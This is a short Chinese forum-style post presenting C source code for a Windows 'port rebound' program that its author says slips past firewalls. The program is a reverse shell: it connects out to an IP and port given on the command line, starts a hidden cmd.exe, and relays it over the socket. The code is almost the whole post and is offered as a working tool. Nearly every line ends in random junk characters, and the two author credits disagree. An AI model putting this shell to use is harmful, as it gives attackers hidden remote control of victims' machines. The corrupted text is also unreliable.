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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !De U8.%  
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/* ============================== #e6x_o|  
Rebound port in Windows NT nG"Ae8r  
By wind,2006/7 k_1o j[O  
===============================*/ VqeW;8&*iv  
#include Xa[lX8$zL  
#include s$VLVT*6  
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#pragma comment(lib,"wsock32.lib") qGie~S ##  
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void OutputShell(); IE&G7\>(yO  
SOCKET sClient; [q!)Y:|u_>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IF3V5Q  
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void main(int argc,char **argv) k? =_p6>  
{ ~<[]l~`  
WSADATA stWsaData; iPrAB*  
int nRet; Y+"Gx;F>  
SOCKADDR_IN stSaiClient,stSaiServer; JDBNi+t  
}fz;La:b  
if(argc != 3) *1_A$14 l  
{ ]BBjFs4#  
printf("Useage:\n\rRebound DestIP DestPort\n"); {4b8s%:!4  
return; )> a^%V9  
} 9wv 7 HD|  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3<HPZWc  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~ph>?xuw  
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stSaiClient.sin_family = AF_INET; If(IG]>`D  
stSaiClient.sin_port = htons(0); +IfU 5&5<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i- r y5x  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `d:cq.OO  
{ w~VqdB  
printf("Bind Socket Failed!\n"); }L|XZL_Jo#  
return; S|ADu]H(  
} sTO9>~sj  
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stSaiServer.sin_family = AF_INET; >]WQ1E[=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JU0|pstf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )L:p.E  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %R1$M318  
{ -j"2rIl4#  
printf("Connect Error!"); l&v&a!EU  
return; W>`#`u  
} 6o ]X.plr  
OutputShell(); B!z5P" C(~  
} I?i,21:5  
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void OutputShell() X.!|#FWb+  
{ !Ql&Ls  
char szBuff[1024]; STgYXA(  
SECURITY_ATTRIBUTES stSecurityAttributes; QsH Fk5)  
OSVERSIONINFO stOsversionInfo; D$y-Kh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ziui  
STARTUPINFO stStartupInfo; QOY M/1U  
char *szShell; `?:X-dh_  
PROCESS_INFORMATION stProcessInformation; w97B)Kn6  
unsigned long lBytesRead; 7 {#^ zr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NI?YUhg>  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $WK~|+"{>  
stSecurityAttributes.lpSecurityDescriptor = 0; ~gvw6e*[  
stSecurityAttributes.bInheritHandle = TRUE; z8hAZ?r1`  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >vY5%%}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j /=4f�  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >D/+04w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B>W!RyH8o  
stStartupInfo.wShowWindow = SW_HIDE; Q@/358.LA  
stStartupInfo.hStdInput = hReadPipe; `.a~G y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @^kt[$X;  
KN9e""  
GetVersionEx(&stOsversionInfo); S?Z"){  
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switch(stOsversionInfo.dwPlatformId) p-o!K\o-1  
{ L5yv}:.U  
case 1: iSxuor ^;  
szShell = "command.com"; VVyms7 VN  
break; p8Wik<'^  
default:  MUd 9R  
szShell = "cmd.exe"; _ -/<bO  
break; r b@{ir  
} #q%V|Ajq  
",qJG]_ <  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -Lbi eS%  
B7!dp`rPp  
send(sClient,szMsg,77,0); w>ap8><4  
while(1) !*l5%H  
{ 2k$~Mv@L  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qcf5* ]V  
if(lBytesRead) )j>BvO  
{ <i!7f26r  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CA{(x(W\:  
send(sClient,szBuff,lBytesRead,0); COf>H0^%Q  
} nJ-U*yz  
else x#_0 6  
{ B`SHr"k!V[  
lBytesRead=recv(sClient,szBuff,1024,0); coQ>CbHg  
if(lBytesRead<=0) break; bR}{xHe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q!P{a^Fnc  
} qKd&d  
} @ "=wn:O+  
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return; _Q1[t9P"  
}
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